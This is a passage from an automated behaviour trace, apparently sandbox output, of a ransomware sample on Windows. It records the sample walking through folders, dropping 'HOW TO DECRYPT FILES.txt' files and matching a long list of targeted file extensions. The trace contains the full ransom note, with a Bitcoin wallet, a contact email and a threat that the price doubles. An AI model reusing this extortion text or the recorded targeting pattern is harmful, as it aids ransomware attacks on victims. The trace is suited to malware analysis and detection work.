lpString2="System.Transactions.ni.dll") returned -1 [0121.348] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Transactions.ni.dll") returned -1 [0121.348] lstrcmpiA (lpString1="", lpString2="System.Transactions.ni.dll") returned -1 [0121.348] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\*.*") returned="*.*" [0121.348] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\" [0121.348] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\") returned="" [0121.348] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\HOW TO DECRYPT FILES.txt" [0121.348] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.transactions\\c0b6be862ff760a1f67b8b7e6548b411\\how to decrypt files.txt")) returned 0xffffffff [0121.348] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.transactions\\c0b6be862ff760a1f67b8b7e6548b411\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0121.353] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0121.353] CloseHandle (hObject=0x90) returned 1 [0121.353] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\", lpString2="System.Transactions.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\System.Transactions.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\System.Transactions.ni.dll" [0121.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\System.Transactions.ni.dll", pszSpec="*.ems") returned 0 [0121.354] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8637e1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8637e1f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8637e1f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Transactions.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0121.354] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0121.354] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Transactions.ni.dll.aux") returned -1 [0121.354] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Transactions.ni.dll.aux") returned -1 [0121.354] lstrcmpiA (lpString1="", lpString2="System.Transactions.ni.dll.aux") returned -1 [0121.354] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\System.Transactions.ni.dll") returned="System.Transactions.ni.dll" [0121.354] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\" [0121.354] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\") returned="" [0121.354] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\HOW TO DECRYPT FILES.txt" [0121.354] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.transactions\\c0b6be862ff760a1f67b8b7e6548b411\\how to decrypt files.txt")) returned 0x20 [0121.354] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\", lpString2="System.Transactions.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\System.Transactions.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\System.Transactions.ni.dll.aux" [0121.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\System.Transactions.ni.dll.aux", pszSpec="*.ems") returned 0 [0121.355] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8637e1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8637e1f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8637e1f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Transactions.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0121.355] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0121.355] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8637e1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8637e1f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8637e1f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="c0b6be862ff760a1f67b8b7e6548b411", cAlternateFileName="C0B6BE~1")) returned 0 [0121.355] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0121.355] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830508f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x830508f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x830508f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web", cAlternateFileName="")) returned 1 [0121.355] lstrcmpA (lpString1=".", lpString2="System.Web") returned -1 [0121.355] lstrcmpA (lpString1="..", lpString2="System.Web") returned -1 [0121.355] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0121.355] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Web" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web" [0121.355] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830508f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x830508f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x830508f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0121.359] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0121.359] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830508f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x830508f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x830508f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.359] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0121.359] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0121.359] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830508f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x83076a50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x83076a50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0f5cd81189d950112651def9926ac257", cAlternateFileName="0F5CD8~1")) returned 1 [0121.359] lstrcmpA (lpString1=".", lpString2="0f5cd81189d950112651def9926ac257") returned -1 [0121.359] lstrcmpA (lpString1="..", lpString2="0f5cd81189d950112651def9926ac257") returned -1 [0121.359] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\*.*") returned="*.*" [0121.359] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\", lpString2="0f5cd81189d950112651def9926ac257" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257" [0121.359] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830508f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x83076a50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x83076a50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0121.359] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0121.359] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830508f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x83076a50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x83076a50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.360] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0121.360] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0121.360] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f45f50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x82f45f50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x830e8e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xfa6200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0121.360] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0121.360] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.ni.dll") returned -1 [0121.360] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.ni.dll") returned -1 [0121.360] lstrcmpiA (lpString1="", lpString2="System.Web.ni.dll") returned -1 [0121.360] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\*.*") returned="*.*" [0121.360] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\" [0121.360] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\") returned="" [0121.362] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\HOW TO DECRYPT FILES.txt" [0121.362] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web\\0f5cd81189d950112651def9926ac257\\how to decrypt files.txt")) returned 0xffffffff [0121.362] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web\\0f5cd81189d950112651def9926ac257\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0121.364] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0121.365] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0121.366] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0121.366] CloseHandle (hObject=0x90) returned 1 [0121.366] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\", lpString2="System.Web.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll" [0121.366] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.ems") returned 0 [0121.366] lstrlenA (lpString="*.ems") returned 5 [0121.366] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.db") returned 0 [0121.366] lstrlenA (lpString="*.db") returned 4 [0121.366] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.dbf") returned 0 [0121.366] lstrlenA (lpString="*.dbf") returned 5 [0121.366] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.myox") returned 0 [0121.366] lstrlenA (lpString="*.myox") returned 6 [0121.366] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.myo") returned 0 [0121.367] lstrlenA (lpString="*.myo") returned 5 [0121.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.qbw") returned 0 [0121.367] lstrlenA (lpString="*.qbw") returned 5 [0121.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.qbb") returned 0 [0121.367] lstrlenA (lpString="*.qbb") returned 5 [0121.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.qbm") returned 0 [0121.367] lstrlenA (lpString="*.qbm") returned 5 [0121.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.qbo") returned 0 [0121.367] lstrlenA (lpString="*.qbo") returned 5 [0121.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.qbx") returned 0 [0121.367] lstrlenA (lpString="*.qbx") returned 5 [0121.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.qba") returned 0 [0121.367] lstrlenA (lpString="*.qba") returned 5 [0121.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.qby") returned 0 [0121.367] lstrlenA (lpString="*.qby") returned 5 [0121.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.qbj") returned 0 [0121.367] lstrlenA (lpString="*.qbj") returned 5 [0121.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.ofx") returned 0 [0121.367] lstrlenA (lpString="*.ofx") returned 5 [0121.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.qif") returned 0 [0121.369] lstrlenA (lpString="*.qif") returned 5 [0121.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.mye") returned 0 [0121.369] lstrlenA (lpString="*.mye") returned 5 [0121.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.mbox") returned 0 [0121.369] lstrlenA (lpString="*.mbox") returned 6 [0121.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.eml") returned 0 [0121.369] lstrlenA (lpString="*.eml") returned 5 [0121.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.pst") returned 0 [0121.369] lstrlenA (lpString="*.pst") returned 5 [0121.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.ost") returned 0 [0121.369] lstrlenA (lpString="*.ost") returned 5 [0121.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.idx") returned 0 [0121.369] lstrlenA (lpString="*.idx") returned 5 [0121.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.dbx") returned 0 [0121.369] lstrlenA (lpString="*.dbx") returned 5 [0121.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.sql") returned 0 [0121.369] lstrlenA (lpString="*.sql") returned 5 [0121.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.mdb") returned 0 [0121.369] lstrlenA (lpString="*.mdb") returned 5 [0121.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.fdb") returned 0 [0121.370] lstrlenA (lpString="*.fdb") returned 5 [0121.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.wab") returned 0 [0121.370] lstrlenA (lpString="*.wab") returned 5 [0121.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.dat") returned 0 [0121.370] lstrlenA (lpString="*.dat") returned 5 [0121.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.txt") returned 0 [0121.370] lstrlenA (lpString="*.txt") returned 5 [0121.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.jpeg") returned 0 [0121.370] lstrlenA (lpString="*.jpeg") returned 6 [0121.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.jpg") returned 0 [0121.370] lstrlenA (lpString="*.jpg") returned 5 [0121.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.png") returned 0 [0121.370] lstrlenA (lpString="*.png") returned 5 [0121.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.php") returned 0 [0121.370] lstrlenA (lpString="*.php") returned 5 [0121.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.cs") returned 0 [0121.370] lstrlenA (lpString="*.cs") returned 4 [0121.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.cpp") returned 0 [0121.370] lstrlenA (lpString="*.cpp") returned 5 [0121.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.rar") returned 0 [0121.370] lstrlenA (lpString="*.rar") returned 5 [0121.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.zip") returned 0 [0121.370] lstrlenA (lpString="*.zip") returned 5 [0121.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.html") returned 0 [0121.370] lstrlenA (lpString="*.html") returned 6 [0121.371] PathMatchSpecA 